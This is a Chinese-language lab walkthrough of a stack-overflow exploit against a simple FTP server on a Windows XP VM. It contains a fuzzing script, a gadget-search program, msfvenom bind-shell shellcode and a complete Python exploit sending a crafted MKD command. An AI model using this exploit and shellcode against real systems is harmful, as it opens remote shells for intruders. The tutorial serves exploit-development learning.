Windows exploit初探-栈溢出

学习链接:https://www.fuzzysecurity.com
根据上面的链接,学习windows exploit

实验前的准备

含有漏洞的软件:

链接:https://pan.baidu.com/s/1KoqDfeYn-JTMD2OvkD2ErQ
提取码:yooa

xp 虚拟机为xp sp3
我这里用的是吾爱破解的专用虚拟机

链接:https://pan.baidu.com/s/1MS96hus4sA2FSXdmNjHCDg
提取码:ok57

开始实验

在xp虚拟机里运行有漏洞的软件,用kali链接上去,简单看一下这个程序有啥功能,这个软件是个简易的ftp服务软件。
Windows exploit初探-栈溢出_第1张图片
这里就先不管这个漏洞是如何挖掘出来的,现在只用知道该软件存在缓冲区溢出漏洞,下面的脚本用于调试该漏洞。

import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.250.6',21))

def send(content):
    print 'send:\n'+content
    s.send(content)
def recv(size):
    print 'recived:'
    print s.recv(size)

evil ='A'*1000

 
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close

首先我们使用Immunity Debugger Attach上这个软件,便于我们观察,栈溢出后的情况。注意attach上去以后要点击运行,也就是那个红色的三角形。
Windows exploit初探-栈溢出_第2张图片
然后运行上面给出的脚本,再查看xp虚拟机里Immunity Debugger的内容,可以发现,eip已经被覆盖成了0x41414141
Windows exploit初探-栈溢出_第3张图片
下面要确定eip的偏移,我这里使用gdb peda插件来生成字符串来确定偏移

gdb-peda$ pattern create  1000
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x'
gdb-peda$ 

然后重复上面的步骤(在xp虚拟机里打开那个软件,然后调试器attach上去),只不过这次将脚本里的evil字符串改为

AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$x

这次eip被覆盖为0x41622541
Windows exploit初探-栈溢出_第4张图片
使用gdb peda插件即可判断偏移
Windows exploit初探-栈溢出_第5张图片
然后接下来的思路就是在栈上布置shellcode,然后将返回地址覆盖为push esp;ret;指令得以执行栈上的shellcode(原理可以查看/0day2-3.2 定位 shellcode)。

寻找push esp;ret;指令,我复现的时候,使用作者推荐的mona.py,找到的都是jmp esp指令,而这些指令都是通过错位得到的,导致我一直复现失败,然后我用下面的代码来查找gadgets。

在xp虚拟机里使用下面的代码(来自0day2-3.2.2 获取“跳板”的地址 章节的代码)来搜索gadgets,其中push esp;ret;的机器码是54 C3

#include 
#include 
#define DLL_NAME "user32.dll"
main()
{
	BYTE* ptr;
	int position,address;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle=LoadLibrary(DLL_NAME);
	if(!handle)
	{
		printf(" load dll erro !");
		exit(0);
	}
	ptr = (BYTE*)handle;
	for(position = 0; !done_flag; position++)
	{
		try
		{
			if(ptr[position] == 0x54 && ptr[position+1] == 0xC3)
			{
				//0xFFE4 is the opcode of jmp esp
					int address = (int)ptr + position;
				printf("OPCODE found at 0x%x\n",address);
			}
		}
		catch(...)
		{
			int address = (int)ptr + position;
			printf("END OF 0x%x\n", address);
			done_flag = true;
		}
	}
}

可以看到如下几个地方,我用了第一个
Windows exploit初探-栈溢出_第6张图片

使用msfvenom生成shellcode,该shellcode会监听4444端口来打开一个cmd shell。
-b选项排除坏字节,防止截断。-f选项 生成指定格式的shellcode,这里是c语言格式。

# root @ kali in ~ [1:11:40] 
$ msfvenom -p windows/shell_bind_tcp  lport=4444 -f c -b '\x00\x0A\x0D'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of c file: 1516 bytes
unsigned char buf[] = 
"\xb8\x31\x18\x0e\x0c\xdb\xd2\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x43\x0e\x03\x72\x16\xec\xf9\x88\xce\x72"
"\x01\x70\x0f\x13\x8b\x95\x3e\x13\xef\xde\x11\xa3\x7b\xb2\x9d"
"\x48\x29\x26\x15\x3c\xe6\x49\x9e\x8b\xd0\x64\x1f\xa7\x21\xe7"
"\xa3\xba\x75\xc7\x9a\x74\x88\x06\xda\x69\x61\x5a\xb3\xe6\xd4"
"\x4a\xb0\xb3\xe4\xe1\x8a\x52\x6d\x16\x5a\x54\x5c\x89\xd0\x0f"
"\x7e\x28\x34\x24\x37\x32\x59\x01\x81\xc9\xa9\xfd\x10\x1b\xe0"
"\xfe\xbf\x62\xcc\x0c\xc1\xa3\xeb\xee\xb4\xdd\x0f\x92\xce\x1a"
"\x6d\x48\x5a\xb8\xd5\x1b\xfc\x64\xe7\xc8\x9b\xef\xeb\xa5\xe8"
"\xb7\xef\x38\x3c\xcc\x14\xb0\xc3\x02\x9d\x82\xe7\x86\xc5\x51"
"\x89\x9f\xa3\x34\xb6\xff\x0b\xe8\x12\x74\xa1\xfd\x2e\xd7\xae"
"\x32\x03\xe7\x2e\x5d\x14\x94\x1c\xc2\x8e\x32\x2d\x8b\x08\xc5"
"\x52\xa6\xed\x59\xad\x49\x0e\x70\x6a\x1d\x5e\xea\x5b\x1e\x35"
"\xea\x64\xcb\xa0\xe2\xc3\xa4\xd6\x0f\xb3\x14\x57\xbf\x5c\x7f"
"\x58\xe0\x7d\x80\xb2\x89\x16\x7d\x3d\xa4\xba\x08\xdb\xac\x52"
"\x5d\x73\x58\x91\xba\x4c\xff\xea\xe8\xe4\x97\xa3\xfa\x33\x98"
"\x33\x29\x14\x0e\xb8\x3e\xa0\x2f\xbf\x6a\x80\x38\x28\xe0\x41"
"\x0b\xc8\xf5\x4b\xfb\x69\x67\x10\xfb\xe4\x94\x8f\xac\xa1\x6b"
"\xc6\x38\x5c\xd5\x70\x5e\x9d\x83\xbb\xda\x7a\x70\x45\xe3\x0f"
"\xcc\x61\xf3\xc9\xcd\x2d\xa7\x85\x9b\xfb\x11\x60\x72\x4a\xcb"
"\x3a\x29\x04\x9b\xbb\x01\x97\xdd\xc3\x4f\x61\x01\x75\x26\x34"
"\x3e\xba\xae\xb0\x47\xa6\x4e\x3e\x92\x62\x7e\x75\xbe\xc3\x17"
"\xd0\x2b\x56\x7a\xe3\x86\x95\x83\x60\x22\x66\x70\x78\x47\x63"
"\x3c\x3e\xb4\x19\x2d\xab\xba\x8e\x4e\xfe";

然后是poc的构造,作者说的是字符串的长度还是控制在1000个字节,而且这里在返回地址后要加一些nop指令来作为填充
作者原话

Ideally we would like to have the buffer length modified dynamically so we don’t need to recalculate if we insert a payload with a different size (our total buffer length should remain 1000-bytes). We should also insert some NOP’s (No Operation Performed = \x90) before our payload as padding. You can see the result below. Any shellcode that we insert in the shellcode variable will get executed by our buffer overflow.
POC

import socket
import sys
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('172.16.250.6',21))

def send(content):
    print 'send:\n'+content
    s.send(content)
def recv(size):
    print 'recived:'
    print s.recv(size)

shellcode=(
"\xb8\x31\x18\x0e\x0c\xdb\xd2\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x53\x83\xeb\xfc\x31\x43\x0e\x03\x72\x16\xec\xf9\x88\xce\x72"
"\x01\x70\x0f\x13\x8b\x95\x3e\x13\xef\xde\x11\xa3\x7b\xb2\x9d"
"\x48\x29\x26\x15\x3c\xe6\x49\x9e\x8b\xd0\x64\x1f\xa7\x21\xe7"
"\xa3\xba\x75\xc7\x9a\x74\x88\x06\xda\x69\x61\x5a\xb3\xe6\xd4"
"\x4a\xb0\xb3\xe4\xe1\x8a\x52\x6d\x16\x5a\x54\x5c\x89\xd0\x0f"
"\x7e\x28\x34\x24\x37\x32\x59\x01\x81\xc9\xa9\xfd\x10\x1b\xe0"
"\xfe\xbf\x62\xcc\x0c\xc1\xa3\xeb\xee\xb4\xdd\x0f\x92\xce\x1a"
"\x6d\x48\x5a\xb8\xd5\x1b\xfc\x64\xe7\xc8\x9b\xef\xeb\xa5\xe8"
"\xb7\xef\x38\x3c\xcc\x14\xb0\xc3\x02\x9d\x82\xe7\x86\xc5\x51"
"\x89\x9f\xa3\x34\xb6\xff\x0b\xe8\x12\x74\xa1\xfd\x2e\xd7\xae"
"\x32\x03\xe7\x2e\x5d\x14\x94\x1c\xc2\x8e\x32\x2d\x8b\x08\xc5"
"\x52\xa6\xed\x59\xad\x49\x0e\x70\x6a\x1d\x5e\xea\x5b\x1e\x35"
"\xea\x64\xcb\xa0\xe2\xc3\xa4\xd6\x0f\xb3\x14\x57\xbf\x5c\x7f"
"\x58\xe0\x7d\x80\xb2\x89\x16\x7d\x3d\xa4\xba\x08\xdb\xac\x52"
"\x5d\x73\x58\x91\xba\x4c\xff\xea\xe8\xe4\x97\xa3\xfa\x33\x98"
"\x33\x29\x14\x0e\xb8\x3e\xa0\x2f\xbf\x6a\x80\x38\x28\xe0\x41"
"\x0b\xc8\xf5\x4b\xfb\x69\x67\x10\xfb\xe4\x94\x8f\xac\xa1\x6b"
"\xc6\x38\x5c\xd5\x70\x5e\x9d\x83\xbb\xda\x7a\x70\x45\xe3\x0f"
"\xcc\x61\xf3\xc9\xcd\x2d\xa7\x85\x9b\xfb\x11\x60\x72\x4a\xcb"
"\x3a\x29\x04\x9b\xbb\x01\x97\xdd\xc3\x4f\x61\x01\x75\x26\x34"
"\x3e\xba\xae\xb0\x47\xa6\x4e\x3e\x92\x62\x7e\x75\xbe\xc3\x17"
"\xd0\x2b\x56\x7a\xe3\x86\x95\x83\x60\x22\x66\x70\x78\x47\x63"
"\x3c\x3e\xb4\x19\x2d\xab\xba\x8e\x4e\xfe")

buffer = "\x90"*20 + shellcode
evil ='A'*247+'\x58\x17\xDA\x77'+buffer+"C"*(749-len(buffer))
#77DA1758 
 
recv(1024)
send('USER anonymous\r\n')
recv(1024)
send('PASS anonymous\r\n')
recv(1024)
send('MKD ' + evil + '\r\n')
recv(1024)
send('QUIT\r\n')
s.close

exploit!!!
Windows exploit初探-栈溢出_第7张图片

你可能感兴趣的:(windows-pwn)